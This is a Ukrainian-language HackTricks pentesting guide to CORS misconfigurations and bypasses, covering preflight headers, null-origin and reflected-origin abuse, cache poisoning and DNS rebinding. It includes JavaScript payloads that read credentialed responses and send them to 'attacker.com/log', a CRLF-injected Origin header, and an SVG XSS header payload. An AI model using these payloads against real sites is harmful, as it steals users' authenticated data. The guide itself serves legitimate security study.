CORS - Misconfigurations & Bypass

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Що таке CORS?

Стандарт Cross-Origin Resource Sharing (CORS) дозволяє серверам визначати, хто може отримати доступ до їх активів та які HTTP-методи запитів дозволені зовнішніми джерелами.

Політика однакового походження вимагає, щоб сервер, який робить запит на ресурс, та сервер, який господарює ресурсом, мали спільний протокол (наприклад, http://), доменне ім'я (наприклад, internal-web.com), та порт (наприклад, 80). Згідно з цією політикою, лише веб-сторінки з одного домену та порту мають доступ до ресурсів.

Застосування політики однакового походження в контексті http://normal-website.com/example/example.html показано нижче:

URL, на який здійснено доступДоступ дозволено?

http://normal-website.com/example/

Так: Ідентична схема, домен та порт

http://normal-website.com/example2/

Так: Ідентична схема, домен та порт

https://normal-website.com/example/

Ні: Різна схема та порт

http://en.normal-website.com/example/

Ні: Різний домен

http://www.normal-website.com/example/

Ні: Різний домен

http://normal-website.com:8080/example/

Ні: Різний порт*

*Internet Explorer ігнорує номер порту при застосуванні політики однакового походження, тому дозволяє цей доступ.

Заголовок Access-Control-Allow-Origin

Цей заголовок може дозволяти кілька джерел, значення null або шаблон *. Однак жоден браузер не підтримує кілька джерел, і використання шаблону * підлягає обмеженням. (Шаблон повинен використовуватися самостійно, і його використання разом із Access-Control-Allow-Credentials: true не дозволяється.)

Цей заголовок видається сервером у відповідь на запит ресурсу з іншого домену, і браузер автоматично додає заголовок Origin.

Заголовок Access-Control-Allow-Credentials

За замовчуванням, запити з іншого походження виконуються без облікових даних, таких як файли cookie або заголовок Authorization. Однак сервер з іншого домену може дозволити читання відповіді при надсиланні облікових даних, встановивши заголовок Access-Control-Allow-Credentials на true.

Якщо встановлено true, браузер передасть облікові дані (файли cookie, заголовки авторизації або сертифікати клієнта TLS).

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
fetch(url, {
credentials: 'include'
})
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

CSRF Попередній запит

Розуміння Попередніх Запитів у Кросдоменній Комунікації

При ініціюванні кросдоменного запиту за певних умов, таких як використання нестандартного методу HTTP (будь-що крім HEAD, GET, POST), введення нових заголовків, або використання спеціального значення заголовка Content-Type, може знадобитися попередній запит. Цей попередній запит, використовуючи метод OPTIONS, служить для повідомлення серверу про наміри майбутнього кросдоменного запиту, включаючи методи HTTP та заголовки, які він має намір використовувати.

Протокол Cross-Origin Resource Sharing (CORS) вимагає цю перевірку попереднього запиту для визначення можливості запитаної кросдоменної операції шляхом перевірки дозволених методів, заголовків та довіреності походження. Для докладного розуміння умов, які уникнуть потреби у попередньому запиті, зверніться до вичерпного посібника, наданого Mozilla Developer Network (MDN).

Важливо зауважити, що відсутність попереднього запиту не скасовує вимогу до відповіді проносити заголовки авторизації. Без цих заголовків, браузер не може обробити відповідь на кросдоменний запит.

Розгляньте наступне зображення попереднього запиту з метою використання методу PUT разом із власним заголовком під назвою Special-Request-Header:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

У відповідь сервер може повернути заголовки, що вказують прийняті методи, дозволений початковий ресурс та інші деталі політики CORS, як показано нижче:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: Цей заголовок вказує, які заголовки можуть бути використані під час фактичного запиту. Він встановлюється сервером для вказівки дозволених заголовків у запитах від клієнта.

  • Access-Control-Expose-Headers: Через цей заголовок сервер повідомляє клієнту, які заголовки можуть бути відкриті як частина відповіді, крім простих заголовків відповіді.

  • Access-Control-Max-Age: Цей заголовок вказує, як довго результати попереднього запиту можуть бути кешовані. Сервер встановлює максимальний час, у секундах, протягом якого інформацію, повернуту попереднім запитом, можна використовувати повторно.

  • Access-Control-Request-Headers: Використовується в попередніх запитах, цей заголовок встановлюється клієнтом для повідомлення серверу про те, які HTTP-заголовки клієнт хоче використовувати у фактичному запиті.

  • Access-Control-Request-Method: Цей заголовок, також використовується в попередніх запитах, встановлюється клієнтом для вказівки, який метод HTTP буде використаний у фактичному запиті.

  • Origin: Цей заголовок автоматично встановлюється браузером і вказує походження запиту між доменами. Він використовується сервером для оцінки того, чи слід дозволити або відхилити вхідний запит на основі політики CORS.

Зверніть увагу, що зазвичай (залежно від типу вмісту та встановлених заголовків) у запиті GET/POST не відправляється попередній запит (запит відправляється прямо), але якщо ви хочете отримати доступ до заголовків/тіла відповіді, він повинен містити заголовок Access-Control-Allow-Origin, який дозволяє це. Отже, CORS не захищає від CSRF (але може бути корисним).

Попередній запит локальної мережі

  1. Access-Control-Request-Local-Network: Цей заголовок включається у запит клієнта для позначення того, що запит спрямований на ресурс локальної мережі. Він служить маркером для повідомлення серверу про те, що запит походить з локальної мережі.

  2. Access-Control-Allow-Local-Network: У відповідь сервери використовують цей заголовок для сповіщення, що запитаний ресурс може бути спільно використаний з сутностями поза межами локальної мережі. Він діє як зелене світло для обміну ресурсами між різними мережевими кордонами, забезпечуючи контрольований доступ при збереженні протоколів безпеки.

Для дійсної відповіді, яка дозволяє запит локальної мережі, також потрібно мати у відповіді заголовок Access-Controls-Allow-Local_network: true :

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

Зверніть увагу, що IP-адреса 0.0.0.0 в Linux працює для обхідних вимог для доступу до localhost, оскільки цей IP-адрес не вважається "локальним".

Також можливо обійти вимоги Локальної мережі, якщо ви використовуєте публічну IP-адресу локальної точки доступу (наприклад, публічний IP-адрес маршрутизатора). Оскільки у декількох випадках, навіть якщо публічний IP-адрес використовується, якщо це з локальної мережі, доступ буде наданий.

Вразливі неправильні налаштування

Було помічено, що встановлення Access-Control-Allow-Credentials на true є обов'язковим для більшості реальних атак. Це налаштування дозволяє браузеру надсилати облікові дані та читати відповідь, підвищуючи ефективність атаки. Без цього перевага в тому, щоб змусити браузер відправити запит, порівняно з власноручним виконанням, зменшується, оскільки стає неможливим використання куки користувача.

Виняток: Використання мережевого місцезнаходження як аутентифікації

Існує виняток, коли мережеве місцезнаходження жертви виступає як форма аутентифікації. Це дозволяє використовувати браузер жертви як проксі, обходячи аутентифікацію на основі IP для доступу до внутрішніх мережевих додатків. Цей метод має схожість з DNS-перенаправленням, але його простіше експлуатувати.

Відображення Origin в Access-Control-Allow-Origin

Реальний сценарій, де значення заголовка Origin відображається в Access-Control-Allow-Origin, теоретично малоймовірний через обмеження по комбінуванню цих заголовків. Однак розробники, які прагнуть увімкнути CORS для кількох URL-адрес, можуть динамічно генерувати заголовок Access-Control-Allow-Origin, копіюючи значення заголовка Origin. Цей підхід може вводити уразливості, особливо коли атакуючий використовує домен з назвою, що призначена для вигляду легітимною, тим самим обманюючи логіку перевірки.

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>

Використання null походження

Null походження, вказане для ситуацій, таких як перенаправлення або локальні HTML-файли, займає унікальне положення. Деякі додатки включають це походження до білого списку для полегшення локальної розробки, ненавмисно дозволяючи будь-якому веб-сайту імітувати null походження через пісочницю iframe, тим самим обхідний обмеження CORS.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Техніки обхіду регулярних виразів

При зіткненні з біллистом доменів важливо перевірити можливості обхіду, такі як додавання домену атакувальника до домену з біллисту або використання вразливостей піддоменів. Крім того, регулярні вирази, які використовуються для перевірки доменів, можуть не враховувати нюанси у конвенціях найменування доменів, що відкриває додаткові можливості для обходу.

Розширені техніки обходу регулярних виразів

Зразки регулярних виразів зазвичай концентруються на буквено-цифрових символах, крапці (.), та дефісі (-), ігноруючи інші можливості. Наприклад, доменне ім'я, створене для включення символів, які різним чином інтерпретуються браузерами та регулярними виразами, може обійти перевірку безпеки. Обробка символів підкатегорій Safari, Chrome та Firefox у піддоменах показує, як такі розбіжності можуть бути використані для обходу логіки перевірки домену.

Для отримання додаткової інформації та налаштувань цієї перевірки обходу: https://www.corben.io/advanced-cors-techniques/ та https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

Від XSS всередині піддомену

Розробники часто впроваджують захисні механізми для захисту від експлуатації CORS шляхом біллистування доменів, які мають право запитувати інформацію. Незважаючи на ці заходи, безпека системи не є недоліком. Навіть наявність одного вразливого піддомену серед доменів у біллисті може відкрити двері для експлуатації CORS через інші вразливості, такі як XSS (міжсайтовий скриптінг).

Для ілюстрації розгляньмо сценарій, де домен requester.com має право доступу до ресурсів з іншого домену provider.com. Конфігурація на стороні сервера може виглядати приблизно так:

if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}

У цій налаштуванні доступ дозволено для всіх піддоменів requester.com. Однак, якщо піддомен, скажімо, sub.requester.com, скомпрометований вразливістю XSS, зловмисник може скористатися цією слабкістю. Наприклад, зловмисник з доступом до sub.requester.com може використати вразливість XSS для обхіду політик CORS та зловживати доступом до ресурсів на provider.com.

Отруєння кешу на стороні сервера

З цього дослідження

Є можливість використовувати отруєння кешу на стороні сервера через впровадження HTTP-заголовків, що викликає збережену вразливість Cross-Site Scripting (XSS). Ця ситуація розгортається, коли додаток не очищає заголовок Origin від недопустимих символів, створюючи вразливість особливо для користувачів Internet Explorer та Edge. Ці браузери розглядають (0x0d) як законний термінатор HTTP-заголовка, що призводить до вразливостей впровадження HTTP-заголовків.

Розгляньте наступний запит, де маніпулюється заголовок Origin:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer та Edge інтерпретують відповідь як:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Під час прямої експлуатації цієї вразливості шляхом надсилання веб-браузером некоректного заголовка не є можливим, але за допомогою інструментів, таких як Burp Suite, можна вручну створити сформований запит. Цей метод може призвести до того, що кеш на стороні сервера збереже відповідь і ненавмисно надасть її іншим користувачам. Сформоване навантаження спрямоване на зміну набору символів сторінки на UTF-7, кодування символів, яке часто пов'язане з вразливостями XSS через його здатність кодувати символи таким чином, що їх можна виконати як скрипт в певних контекстах.

Для подальшого читання про збережені вразливості XSS див. PortSwigger.

Примітка: Експлуатація вразливостей внедрення заголовків HTTP, особливо через забруднення кешу на стороні сервера, підкреслює критичне значення перевірки та очищення всіх введених користувачем даних, включаючи заголовки HTTP. Завжди використовуйте надійну модель безпеки, яка включає перевірку введених даних для запобігання таким вразливостям.

Забруднення кешу на стороні клієнта

З цього дослідження

У цьому сценарії спостерігається екземпляр веб-сторінки, який відображає вміст власного заголовка HTTP без належного кодування. Зокрема, веб-сторінка відображає вміст, включений у заголовок X-User-id, який може містити шкідливий JavaScript, як показано в прикладі, де заголовок містить тег зображення SVG, призначений для виконання коду JavaScript при завантаженні.

Політики Cross-Origin Resource Sharing (CORS) дозволяють надсилати власні заголовки. Однак без безпосереднього відображення відповіді браузером через обмеження CORS, корисність такого впровадження може здатися обмеженою. Критичний момент виникає при розгляді поведінки кешу браузера. Якщо заголовок Vary: Origin не вказаний, стає можливим кешування шкідливої відповіді браузером. Після цього ця кешована відповідь може бути відображена безпосередньо при переході за URL, обходячи потребу у безпосередньому відображенні при початковому запиті. Цей механізм підвищує надійність атаки за рахунок використання кешування на стороні клієнта.

Для ілюстрації цієї атаки наведено приклад JavaScript, призначений для виконання в середовищі веб-сторінки, наприклад, через JSFiddle. Цей скрипт виконує просту дію: він надсилає запит на вказаний URL з власним заголовком, що містить шкідливий JavaScript. Після успішного завершення запиту він намагається перейти за цим URL, потенційно спричиняючи виконання вбудованого скрипту, якщо відповідь була закешована без належної обробки заголовка Vary: Origin.

Ось узагальнена розбивка JavaScript, використаного для виконання цієї атаки:

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, також відомий як включення скриптів з іншого сайту, є типом вразливості, який використовує той факт, що політика однакового походження (SOP) не застосовується при включенні ресурсів за допомогою тегу скрипта. Це тому, що скрипти повинні мати можливість бути включені з різних доменів. Ця вразливість дозволяє зловмиснику отримати доступ і прочитати будь-який вміст, який був включений за допомогою тегу скрипта.

Ця вразливість стає особливо значущою, коли мова йде про динамічний JavaScript або JSONP (JSON з заповненням), особливо коли використовуються інформація про авторитет, така як файли cookie, для аутентифікації. При запиті ресурсу з іншого хоста файли cookie включаються, що дозволяє зловмиснику отримати до них доступ.

Для кращого розуміння та пом'якшення цієї вразливості ви можете використовувати плагін BurpSuite, доступний за адресою https://github.com/kapytein/jsonp. Цей плагін може допомогти виявити та вирішити потенційні вразливості XSSI у ваших веб-додатках.

Дізнайтеся більше про різні типи XSSI та як їх експлуатувати тут.

Спробуйте додати callback параметр у запит. Можливо, сторінка була підготовлена для надсилання даних у форматі JSONP. У цьому випадку сторінка поверне дані з Content-Type: application/javascript, що обійде політику CORS.

Просте (некорисне?) обхід

Один зі способів обійти обмеження Access-Control-Allow-Origin - це надіслати запит веб-додатку, щоб він виконав запит від вашого імені та повернув відповідь. Однак у цьому сценарії обмеження кінцевої жертви не будуть надіслані, оскільки запит виконується на різний домен.

  1. CORS-escape: Цей інструмент надає проксі, який пересилає ваш запит разом з його заголовками, а також підробляє заголовок Origin, щоб відповідав запитаному домену. Це ефективно обходить політику CORS. Ось приклад використання з XMLHttpRequest:

  2. simple-cors-escape: Цей інструмент пропонує альтернативний підхід до проксі-запитів. Замість передачі вашого запиту як є, сервер виконує власний запит з вказаними параметрами.

Обхід за допомогою Iframe + Popup

Ви можете обійти перевірку CORS, таку як e.origin === window.origin, створивши iframe і з нього відкривши нове вікно. Додаткова інформація на наступній сторінці:

pageIframes in XSS, CSP and SOP

Перенаправлення DNS через TTL

Перенаправлення DNS через TTL - це техніка, яка використовується для обходу певних заходів безпеки шляхом маніпулювання DNS-записами. Ось як це працює:

  1. Зловмисник створює веб-сторінку та змушує жертву звертатися до неї.

  2. Потім зловмисник змінює DNS (IP) свого власного домену, щоб вказувати на веб-сторінку жертви.

  3. Браузер жертви кешує відповідь DNS, яка може містити значення TTL (Час життя), що вказує, як довго DNS-запис повинен вважатися дійсним.

  4. Коли TTL закінчується, браузер жертви робить новий запит DNS, що дозволяє зловмиснику виконати код JavaScript на сторінці жертви.

  5. Керуючи IP жертви, зловмисник може збирати інформацію від жертви, не надсилаючи жодних файлів cookie на сервер жертви.

Важливо зауважити, що браузери мають механізми кешування, які можуть запобігти негайному зловживанню цією технікою, навіть з низькими значеннями TTL.

Перенаправлення DNS може бути корисним для обходу явних перевірок IP, виконаних жертвою, або для сценаріїв, де користувач або бот залишається на одній сторінці протягом тривалого часу, що дозволяє кешуванню закінчити дію.

Якщо вам потрібен швидкий спосіб використання перенаправлення DNS, ви можете скористатися послугами, такими як https://lock.cmpxchg8b.com/rebinder.html.

Для запуску власного сервера перенаправлення DNS ви можете скористатися інструментами, такими як DNSrebinder (https://github.com/mogwailabs/DNSrebinder). Це включає відкриття вашого локального порту 53/udp, створення запису A, що вказує на нього (наприклад, ns.example.com), і створення запису NS, що вказує на раніше створений піддомен A (наприклад, ns.example.com). Будь-який піддомен піддомену ns.example.com буде розглядатися вашим хостом.

Ви також можете дослідити публічно працюючий сервер за адресою http://rebind.it/singularity.html для подальшого розуміння та експериментів.

Перенаправлення DNS через заповнення кешу

Перенаправлення DNS через заповнення кешу DNS є ще однією технікою, яка використовується для обходу механізму кешування браузерів та примусового другого запиту DNS. Ось як це працює:

  1. Спочатку, коли жертва робить запит DNS, відповідається IP-адресою зловмисника.

  2. Щоб обійти захист кешування, зловмисник використовує робочого службовця. Робочий службовець затоплює кеш DNS, що ефективно видаляє закешоване ім'я сервера зловмисника.

  3. Коли браузер жертви робить другий запит DNS, відповідається IP-адресою 127.0.0.1, яка зазвичай вказує на локальний комп'ютер.

Затоплюючи кеш DNS робочим службовцем, зловмисник може маніпулювати процесом розрішення DNS та змусити браузер жертви зробити другий запит, який цього разу розрішується на бажану IP-адресу зловмисника.

Перенаправлення DNS через кеш

Ще один спосіб обійти захист кешування полягає в тому, щоб використовувати кілька IP-адрес для одного піддомену в постачальнику DNS. Ось як це працює:

  1. Зловмисник налаштовує два записи A (або один запис A з двома IP) для одного піддомену в постачальнику DNS.

  2. Коли браузер перевіряє ці записи, він отримує обидві IP-адреси.

  3. Якщо браузер вирішує використовувати спочатку IP-адресу зловмисника, зловмисник може надати навантаження, яке виконує HTTP-запити на той самий домен.

  4. Однак як тільки зловмисник отримує IP-адресу жертви, він припиняє відповідати браузеру жертви.

  5. Браузер жертви, побачивши, що домен не відповідає, переходить до використання другої вказаної IP-адреси.

  6. Звертаючись до другої IP-адреси, браузер обходить політику однакового походження (SOP), дозволяючи зловмиснику зловживати цим і збирати та виводити інформацію.

Ця техніка використовує поведінку браузерів, коли для домену надаються кілька IP-адрес. Керуючи відповідями та маніпулюючи вибором IP-адреси браузера, зловмисник може експлуатувати SOP та отримувати доступ до інформації від жертви.

Зауважте, що для доступу до localhost вам слід спробувати перенаправити 127.0.0.1 в Windows та 0.0.0.0 в Linux. Постачальники, такі як godaddy або cloudflare, не дозволили мені використовувати IP 0.0.0.0, але AWS route53 дозволив мені створити один запис A з 2 IP, один з яких "0.0.0.0"

Для отримання додаткової інформації ви можете перевірити https://unit42.paloaltonetworks.com/dns-rebinding/

Інші загальні обхідні методи

  • Якщо внутрішні IP-адреси заборонені, можливо, вони забули заборонити 0.0.0.0 (працює на Linux та Mac)

  • Якщо внутрішні IP-адреси заборонені, відповідайте з CNAME на localhost (працює на Linux та Mac)

  • Якщо внутрішні IP-адреси заборонені у відповідях DNS, ви можете відповідати CNAMEs на внутрішні служби, такі як www.corporate.internal.

Збройовані атаки DNS Rebidding

Ви можете знайти більше інформації про попередні методи обхіду та як використовувати наступний інструмент у виступі Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - Конференція DEF CON 27.

Singularity of Origin - це інструмент для виконання атак DNS rebinding. Він включає необхідні компоненти для переприв'язки IP-адреси DNS-імені сервера атаки до IP-адреси цільової машини та надання атакуючих навантажень для використання вразливого програмного забезпечення на цільовій машині.

Реальний захист від атак DNS Rebinding

  • Використовуйте TLS у внутрішніх службах

  • Запитайте аутентифікацію для доступу до даних

  • Перевірте заголовок Host

  • https://wicg.github.io/private-network-access/: Пропозиція завжди надсилати попередній запит, коли публічні сервери хочуть отримати доступ до внутрішніх серверів

Інструменти

Перевірте можливі неправильні конфігурації в політиках CORS

Посилання

Last updated